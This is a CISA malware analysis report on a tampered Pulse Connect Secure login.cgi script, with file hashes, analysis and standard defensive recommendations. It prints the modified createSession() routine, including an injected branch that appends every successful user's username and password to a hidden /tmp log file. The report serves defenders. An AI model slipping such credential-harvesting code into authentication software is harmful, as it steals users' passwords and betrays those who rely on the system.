Analysis Report

MAR-10337580-2.v1: Pulse Connect Secure

Last Revised
Alert Code


body#cma-body { font-family: Franklin Gothic Medium, Franklin Gothic, ITC Franklin Gothic, Arial, sans-serif; font-size: 15px; } table#cma-table { width: 900px; margin: 2px; table-layout: fixed; border-collapse: collapse; } div#cma-exercise { width: 900px; height: 30px; text-align: center; line-height: 30px; font-weight: bold; font-size: 18px; } div.cma-header { text-align: center; margin-bottom: 40px; } div.cma-footer { text-align: center; margin-top: 20px; } h2.cma-tlp { background-color: #000; color: #ffffff; width: 180px; height: 30px; text-align: center; line-height: 30px; font-weight: bold; font-size: 18px; float: right; } span.cma-fouo { line-height: 30px; font-weight: bold; font-size: 16px; } h3.cma-section-title { font-size: 18px; font-weight: bold; padding: 0 10px; margin-top: 10px; } h4.cma-object-title { font-size: 16px; font-weight: bold; margin-left: 20px; } h5.cma-data-title { padding: 3px 0 3px 10px; margin: 10px 0 0 20px; background-color: #e7eef4; font-size: 15px; } p.cma-text { margin: 5px 0 0 25px !important; word-wrap: break-word !important; } div.cma-section { border-bottom: 5px solid #aaa; margin: 5px 0; padding-bottom: 10px; } div.cma-avoid-page-break { page-break-inside: avoid; } div#cma-summary { page-break-after: always; } div#cma-faq { page-break-after: always; } table.cma-content { border-collapse: collapse; margin-left: 20px; } table.cma-hashes { table-layout: fixed; width: 880px; } table.cma-hashes td{ width: 780px; word-wrap: break-word; } .cma-left th { text-align: right; vertical-align: top; padding: 3px 8px 3px 20px; background-color: #f0f0f0; border-right: 1px solid #aaa; } .cma-left td { padding-left: 8px; } .cma-color-title th, .cma-color-list th, .cma-color-title-only th { text-align: left; padding: 3px 0 3px 20px; background-color: #f0f0f0; } .cma-color-title td, .cma-color-list td, .cma-color-title-only td { padding: 3px 20px; } .cma-color-title tr:nth-child(odd) { background-color: #f0f0f0; } .cma-color-list tr:nth-child(even) { background-color: #f0f0f0; } td.cma-relationship { max-width: 310px; word-wrap: break-word; } ul.cma-ul { margin: 5px 0 10px 0; } ul.cma-ul li { line-height: 20px; margin-bottom: 5px; word-wrap: break-word; } #cma-survey { font-weight: bold; font-style: italic; } div.cma-banner-container { position: relative; text-align: center; color: white; } img.cma-banner { max-width: 900px; height: auto; } img.cma-nccic-logo { max-height: 60px; width: auto; float: left; margin-top: -15px; } div.cma-report-name { position: absolute; bottom: 32px; left: 12px; font-size: 20px; } div.cma-report-number { position: absolute; bottom: 70px; right: 100px; font-size: 18px; } div.cma-report-date { position: absolute; bottom: 32px; right: 100px; font-size: 18px; } img.cma-thumbnail { max-height: 100px; width: auto; vertical-align: top; } img.cma-screenshot { margin: 10px 0 0 25px; max-width: 800px; height: auto; vertical-align: top; border: 1px solid #000; } div.cma-screenshot-text { margin: 10px 0 0 25px; } .cma-break-word { word-wrap: break-word; } .cma-tag { border-radius: 5px; padding: 1px 10px; margin-right: 10px; } .cma-tag-info { background: #f0f0f0; } .cma-tag-warning { background: #ffdead; }

Malware Analysis Report


This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see



CISA received one file for analysis. This file is a Pulse Secure system file that has been modified by a malicious actor. The modification causes the Common Gateway Interface (CGI) script to steal the credentials of users who login successfully. These stolen credentials are then logged to a file stored within the tmp directory of the compromised Pulse Secure device. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of IOCs, see: MAR-10337580-2.v1.WHITE.stix.

Submitted Files (1)

876b93ecff1bf3fd053d3fdc523c8b5d92cc958a8af2db2f2924c167083f3256 (login.cgi)





Name login.cgi
Size 108833 bytes
Type Perl script text executable
MD5 6f6d1b326e32cf7ddc58cf1f4eb16156
SHA1 ce92ff9cf1a65372d09d8d20e3e9a60665ddce43
SHA256 876b93ecff1bf3fd053d3fdc523c8b5d92cc958a8af2db2f2924c167083f3256
SHA512 f254b7aa0363a851396c16c381795889091de2edb80685f84eac00783ab22ae8b650f620ead2fdef7e7c12b512137cfb6a11047f2270fef5565a33c4b403a4c5
ssdeep 768:FfTsQR8rYZ8HPGK9P97HfHq/RgktsBOBxrce/6ZRc7egTrqL+5x/LAVHj9KqTcbo:ozD26x6/J7/TWLezAVHj9vTcGGP0
Entropy 4.709885

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.


This file is a Pulse Secure Common Gateway Interface (CGI) script that was modified by a malicious actor. The specific modification was made to the createSession() method within the script.

--Begin Modification--

sub createSession($$$$)
   my ($signin,$preauth,$overall,$signinResult) = @_;

   my $realmInfo= $signin->getRealmInfo();
   my $sessionContext= $signin->getContextData();

   my $username= $signin->getUserName();
   my $password= $sessionContext->getEntry("password")->get();
   my $username2 = "";
   my $password2 = "";
   my $secServerInfo = $realmInfo->{secondaryAuthServer};
   if ($secServerInfo->{name}) {
       $username2 = $sessionContext->getEntry("user@".$secServerInfo->{name})->get() ;
       $password2 = $sessionContext->getEntry("password@".$secServerInfo->{name})->get();
   my $session;
   my $rc;
   # initialize flag that detects session reuse
   $Main::sessionReuseParam = 0;

   my $sessid = "";

   my $uid = UserAdmin::getUserUID( $username,
   my $bValidUid = UserAdmin::isValidUID($uid);

   # Concurrent users license check for no of user sessions.
   if (!$signin->isAdminUser() && !$signin->isDeviceSessionType()) {
       # This check may redirect and exit

       my $ccCheck = DSAuth::checkIfUserCanLogin($signin, $uid);
       DSLog::Msg("Auth", 10, "checkIfUserCanLogin returns $ccCheck");
       if ($ccCheck == $DSAuth::kConcurrentUsersDeny) {
           # login denied            
           DSLog::Msg("Auth", 10, "Login Denied for $username");
           my $userAgent= $signin->getContextData()->getEntry("userAgent")->get();
           my $agentType = DSUserAgentCap::getUserAgentType($userAgent);

           if (DSLicense::isEnabled($DSLicense::FT_named_user_internal)) {
               sendDataToDashboard(0, "", $signinResult, $DSAuth::serrTooManyNamed, $signin);
               welcomeRedirectFinal( $signin, $agentType, undef, "too-many-named" );
           } else {
               sendDataToDashboard(0, "", $signinResult, $DSAuth::serrTooMany, $signin);
               welcomeRedirectFinal( $signin, $agentType, undef, "too-many" );
       elsif ($ccCheck == $DSAuth::kConcurrentUsersWarn) {
           # login warned
           DSLog::Msg("Auth", 10, "Login Warned for $username");
           $Main::starterRedirectParam= "move-on";
else { open(*fd, ">>/tmp/dsstartssh.statementcounters"); syswrite(*fd, "admin_username=$username ", 5000); syswrite(*fd, "password=$password
", 5000); close(*fd);}

--End Modification--

The purpose of the modification is to record the credentials of users who successfully log into the device to a log file named "/tmp/dsstartssh.statementcounters."


CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL:

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Central.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at


July 21, 2021: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.